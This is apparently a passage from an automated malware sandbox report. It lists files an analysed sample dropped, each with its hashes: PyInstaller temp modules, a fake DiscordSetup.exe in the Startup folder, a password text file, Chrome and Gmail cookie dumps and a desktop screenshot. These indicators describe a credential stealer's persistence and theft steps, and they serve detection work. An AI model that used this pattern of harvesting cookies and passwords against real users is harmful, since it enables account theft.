| SHA256 | 4a2d59993bce76790c6d923af81bf404f8e2cb73552e320113663b14cf78748c |
| SHA512 | 29f1b74e96a95b0b777ef00448da8bd0844e2f1d8248788a284ec868ae098c774a694d234a00bd991b2d22c2372c34f762cdbd9ec523234861e39c0ca752dcaa |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_tkinter.pyd
| MD5 | 8da8e5348d9f9572ce9216ac8a628c2b |
| SHA1 | 35a23ea241d004a45399d69ca038042936d8288d |
| SHA256 | 06b96357f5dd83d0d8105127e7aaeacb834ddf1ae03fa46aaffdc1e5fd0a7621 |
| SHA512 | ca7a05cb49c8af6ebfa3cd5d415352bfd0c2abdbbf05d539e296042bbde075d29ddc8c2a2e5d46c9e736dcc848bc633686029784883f855167875972fb607f42 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_ssl.pyd
| MD5 | 7910fb2af40e81bee211182cffec0a06 |
| SHA1 | 251482ed44840b3c75426dd8e3280059d2ca06c6 |
| SHA256 | d2a7999e234e33828888ad455baa6ab101d90323579abc1095b8c42f0f723b6f |
| SHA512 | bfe6506feb27a592fe9cf1db7d567d0d07f148ef1a2c969f1e4f7f29740c6bb8ccf946131e65fe5aa8ede371686c272b0860bd4c0c223195aaa1a44f59301b27 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_sqlite3.pyd
| MD5 | 5279d497eee4cf269d7b4059c72b14c2 |
| SHA1 | aff2f5de807ae03e599979a1a5c605fc4bad986e |
| SHA256 | b298a44af162be7107fd187f04b63fb3827f1374594e22910ec38829da7a12dc |
| SHA512 | 20726fc5b46a6d07a3e58cdf1bed821db57ce2d9f5bee8cfd59fce779c8d5c4b517d3eb70cd2a0505e48e465d628a674d18030a909f5b73188d07cc80dcda925 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_overlapped.pyd
| MD5 | fdf8663b99959031780583cce98e10f5 |
| SHA1 | 6c0bafc48646841a91625d74d6b7d1d53656944d |
| SHA256 | 2ebbb0583259528a5178dd37439a64affcb1ab28cf323c6dc36a8c30362aa992 |
| SHA512 | a5371d6f6055b92ac119a3e3b52b21e2d17604e5a5ac241c008ec60d1db70b3ce4507d82a3c7ce580ed2eb7d83bb718f4edc2943d10cb1d377fa006f4d0026b6 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_multiprocessing.pyd
| MD5 | a9a0588711147e01eed59be23c7944a9 |
| SHA1 | 122494f75e8bb083ddb6545740c4fae1f83970c9 |
| SHA256 | 7581edea33c1db0a49b8361e51e6291688601640e57d75909fb2007b2104fa4c |
| SHA512 | 6b580f5c53000db5954deb5b2400c14cb07f5f8bbcfc069b58c2481719a0f22f0d40854ca640ef8425c498fbae98c9de156b5cc04b168577f0da0c6b13846a88 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_hashlib.pyd
| MD5 | d4674750c732f0db4c4dd6a83a9124fe |
| SHA1 | fd8d76817abc847bb8359a7c268acada9d26bfd5 |
| SHA256 | caa4d2f8795e9a55e128409cc016e2cc5c694cb026d7058fc561e4dd131ed1c9 |
| SHA512 | 97d57cfb80dd9dd822f2f30f836e13a52f771ee8485bc0fd29236882970f6bfbdfaac3f2e333bba5c25c20255e8c0f5ad82d8bc8a6b6e2f7a07ea94a9149c81e |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_decimal.pyd
| MD5 | 20c77203ddf9ff2ff96d6d11dea2edcf |
| SHA1 | 0d660b8d1161e72c993c6e2ab0292a409f6379a5 |
| SHA256 | 9aac010a424c757c434c460c3c0a6515d7720966ab64bad667539282a17b4133 |
| SHA512 | 2b24346ece2cbd1e9472a0e70768a8b4a5d2c12b3d83934f22ebdc9392d9023dcb44d2322ada9edbe2eb0e2c01b5742d2a83fa57ca23054080909ec6eb7cf3ca |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_cffi_backend.cp310-win_amd64.pyd
| MD5 | 2baaa98b744915339ae6c016b17c3763 |
| SHA1 | 483c11673b73698f20ca2ff0748628c789b4dc68 |
| SHA256 | 4f1ce205c2be986c9d38b951b6bcb6045eb363e06dacc069a41941f80be9068c |
| SHA512 | 2ae8df6e764c0813a4c9f7ac5a08e045b44daac551e8ff5f8aa83286be96aa0714d373b8d58e6d3aa4b821786a919505b74f118013d9fcd1ebc5a9e4876c2b5f |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_asyncio.pyd
| MD5 | 33d0b6de555ddbbbd5ca229bfa91c329 |
| SHA1 | 03034826675ac93267ce0bf0eaec9c8499e3fe17 |
| SHA256 | a9a99a2b847e46c0efce7fcfefd27f4bce58baf9207277c17bffd09ef4d274e5 |
| SHA512 | dbbd1ddfa445e22a0170a628387fcf3cb95e6f8b09465d76595555c4a67da4274974ba7b348c4c81fe71c68d735c13aacb8063d3a964a8a0556fb000d68686b7 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\unicodedata.pyd
| MD5 | 81d62ad36cbddb4e57a91018f3c0816e |
| SHA1 | fe4a4fc35df240b50db22b35824e4826059a807b |
| SHA256 | 1fb2d66c056f69e8bbdd8c6c910e72697874dae680264f8fb4b4df19af98aa2e |
| SHA512 | 7d15d741378e671591356dfaad4e1e03d3f5456cbdf87579b61d02a4a52ab9b6ecbffad3274cede8c876ea19eaeb8ba4372ad5986744d430a29f50b9caffb75d |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\tk86t.dll
| MD5 | 4b6270a72579b38c1cc83f240fb08360 |
| SHA1 | 1a161a014f57fe8aa2fadaab7bc4f9faaac368de |
| SHA256 | cd2f60075064dfc2e65c88b239a970cb4bd07cb3eec7cc26fb1bf978d4356b08 |
| SHA512 | 0c81434d8c205892bba8a4c93ff8fc011fb8cfb72cfec172cf69093651b86fd9837050bd0636315840290b28af83e557f2205a03e5c344239356874fce0c72b9 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\tcl86t.dll
| MD5 | 75909678c6a79ca2ca780a1ceb00232e |
| SHA1 | 39ddbeb1c288335abe910a5011d7034345425f7d |
| SHA256 | fbfd065f861ec0a90dd513bc209c56bbc23c54d2839964a0ec2df95848af7860 |
| SHA512 | 91689413826d3b2e13fc7f579a71b676547bc4c06d2bb100b4168def12ab09b65359d1612b31a15d21cb55147bbab4934e6711351a0440c1533fb94fe53313bf |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\sqlite3.dll
| MD5 | 914925249a488bd62d16455d156bd30d |
| SHA1 | 7e66ba53f3512f81c9014d322fcb7dd895f62c55 |
| SHA256 | fbd8832b5bc7e5c9adcf7320c051a67ee1c33fd198105283058533d132785ab4 |
| SHA512 | 21a468929b15b76b313b32be65cfc50cad8f03c3b2e9bf11ca3b02c88a0482b7bc15646ce40df7fb42fbc96bd12362a54cffe0563c4ddc3fc78622622c699186 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\libssl-1_1.dll
| MD5 | bec0f86f9da765e2a02c9237259a7898 |
| SHA1 | 3caa604c3fff88e71f489977e4293a488fb5671c |
| SHA256 | d74ce01319ae6f54483a19375524aa39d9f5fd91f06cf7df238ca25e043130fd |
| SHA512 | ffbc4e5ffdb49704e7aa6d74533e5af76bbe5db297713d8e59bd296143fe5f145fbb616b343eed3c48eceaccccc2431630470d8975a4a17c37eafcc12edd19f4 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\libcrypto-1_1.dll
| MD5 | 9d7a0c99256c50afd5b0560ba2548930 |
| SHA1 | 76bd9f13597a46f5283aa35c30b53c21976d0824 |
| SHA256 | 9b7b4a0ad212095a8c2e35c71694d8a1764cd72a829e8e17c8afe3a55f147939 |
| SHA512 | cb39aa99b9d98c735fdacf1c5ed68a4d09d11f30262b91f6aa48c3f8520eff95e499400d0ce7e280ca7a90ff6d7141d2d893ef0b33a8803a1cadb28ba9a9e3e2 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\charset_normalizer\md__mypyc.cp310-win_amd64.pyd
| MD5 | 494f5b9adc1cfb7fdb919c9b1af346e1 |
| SHA1 | 4a5fddd47812d19948585390f76d5435c4220e6b |
| SHA256 | ad9bcc0de6815516dfde91bb2e477f8fb5f099d7f5511d0f54b50fa77b721051 |
| SHA512 | 2c0d68da196075ea30d97b5fd853c673e28949df2b6bf005ae72fd8b60a0c036f18103c5de662cac63baaef740b65b4ed2394fcd2e6da4dfcfbeef5b64dab794 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\certifi\cacert.pem
| MD5 | 50ea156b773e8803f6c1fe712f746cba |
| SHA1 | 2c68212e96605210eddf740291862bdf59398aef |
| SHA256 | 94edeb66e91774fcae93a05650914e29096259a5c7e871a1f65d461ab5201b47 |
| SHA512 | 01ed2e7177a99e6cb3fbef815321b6fa036ad14a3f93499f2cb5b0dae5b713fd2e6955aa05f6bda11d80e9e0275040005e5b7d616959b28efc62abb43a3238f0 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\charset_normalizer\md.cp310-win_amd64.pyd
| MD5 | f33ca57d413e6b5313272fa54dbc8baa |
| SHA1 | 4e0cabe7d38fe8d649a0a497ed18d4d1ca5f4c44 |
| SHA256 | 9b3d70922dcfaeb02812afa9030a40433b9d2b58bcf088781f9ab68a74d20664 |
| SHA512 | f17c06f4202b6edbb66660d68ff938d4f75b411f9fab48636c3575e42abaab6464d66cb57bce7f84e8e2b5755b6ef757a820a50c13dd5f85faa63cd553d3ff32 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\PIL\_imaging.cp310-win_amd64.pyd
| MD5 | 4338d11697ca3177f255725870c4310d |
| SHA1 | 28483a183686cdc246245ae1bd8717620cc39d08 |
| SHA256 | 433681b1e01606b1730d2a7f7811fab558e4e8c0fa91d403cfd8d7cc1a2b6a09 |
| SHA512 | 132d7a6b2576cf82306be87627d5d7682bd10c3a0978ad37942db4cec9a1a6ce5a30cbbf7485b31f177a512740fc73240318261e4ea12aadb6d18e8bbaffae99 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\psutil\_psutil_windows.pyd
| MD5 | 3e579844160de8322d574501a0f91516 |
| SHA1 | c8de193854f7fc94f103bd4ac726246981264508 |
| SHA256 | 95f01ce7e37f6b4b281dbc76e9b88f28a03cb02d41383cc986803275a1cd6333 |
| SHA512 | ee2a026e8e70351d395329c78a07acb1b9440261d2557f639e817a8149ba625173ef196aed3d1c986577d78dc1a7ec9fed759c19346c51511474fe6d235b1817 |
C:\Users\Admin\AppData\Local\Temp\_MEI50162\_tcl_data\encoding\cp1252.enc
| MD5 | e9117326c06fee02c478027cb625c7d8 |
| SHA1 | 2ed4092d573289925a5b71625cf43cc82b901daf |
| SHA256 | 741859cf238c3a63bbb20ec6ed51e46451372bb221cfff438297d261d0561c2e |
| SHA512 | d0a39bc41adc32f2f20b1a0ebad33bf48dfa6ed5cc1d8f92700cdd431db6c794c09d9f08bb5709b394acf54116c3a1e060e2abcc6b503e1501f8364d3eebcd52 |
memory/1632-1222-0x0000023B2EFF0000-0x0000023B2F012000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1m4syy33.4oe.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DiscordSetup.exe
| MD5 | 1a384aefde73cc7cafa385e841dcfbf0 |
| SHA1 | ae36b8fc8e8338571c1d04b5616151663b81f00b |
| SHA256 | 9a8e7237a333616437c21bcad6b93188c2b8d55f8618e474ab3212258bb14aa9 |
| SHA512 | 6770d57d36d9b7a0b7675cce3a38b7c03cc65be1f583f3b71d192ddb8a26b376d50e55f6229787e8e68b20b368c2dddaa25efd606aebbc8330ef95c87da9182c |
C:\Users\Admin\AppData\Local\Tempwptmhehlye.db
| MD5 | a182561a527f929489bf4b8f74f65cd7 |
| SHA1 | 8cd6866594759711ea1836e86a5b7ca64ee8911f |
| SHA256 | 42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914 |
| SHA512 | 9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558 |
C:\Users\Admin\AppData\Local\Temp\wppassw.txt
| MD5 | 77f7bcb9d5c7b27ae6316f710a180908 |
| SHA1 | 404bfb0f6cd6e0297f3640c62321ecdecad28e08 |
| SHA256 | 70e98f126919d9dc5607fc9273a250ea2784f4645408fdf3f59d8dd7776a8d53 |
| SHA512 | e94bad9e54a29a8f2bdc4191755b450e11ff066788ba18e21c21175cce0c693a81c94dce439832bf97eb1ec420e311872689388aa5cd8d65a85c63ba375c50e4 |
C:\Users\Admin\AppData\Local\Tempwpwpmxeilv.db
| MD5 | 349e6eb110e34a08924d92f6b334801d |
| SHA1 | bdfb289daff51890cc71697b6322aa4b35ec9169 |
| SHA256 | c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a |
| SHA512 | 2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574 |
C:\Users\Admin\AppData\Local\Tempwpqdyfmdhz.db
| MD5 | 60fd61b06b82514556f2d817fdbcfc5c |
| SHA1 | 3aecb698f4858c190359f43a1c94447d8afd6e7c |
| SHA256 | cd490a19ccf5b7317dc57e3ab73860ebb363461bfc3660ceefcebf321320e777 |
| SHA512 | 193f6b3a9f241554be61d20e802e9cc6ed3cd571ad73dcd0d40641dd0d862f58e7b6cadcb6fb974479326c384ff69567e22be27881738ff0fa80d872c8b113f5 |
C:\Users\Admin\AppData\Local\Temp\chrome.exe_CookiesGmail.json
| MD5 | d751713988987e9331980363e24189ce |
| SHA1 | 97d170e1550eee4afc0af065b78cda302a97674c |
| SHA256 | 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945 |
| SHA512 | b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af |
C:\Users\Admin\AppData\Local\Temp\desktopshot.png
| MD5 | 65299c5ab6e33c47a478b409ed3ed80e |
| SHA1 | 9928418642355e084c1d93fca065465552ccb113 |
| SHA256 | 9ae65a7d4053c4ec8b698b1f0a9a7f79669eac2e8520be80289ca43e6e927b81 |
| SHA512 | 20958024530713ebd413bfe703cc920f828a41bc98fd9bea321d9d7a930ede093d4c672398649bb8fddeae5885274690234adbc0f09bdd7e43678a14511e844e |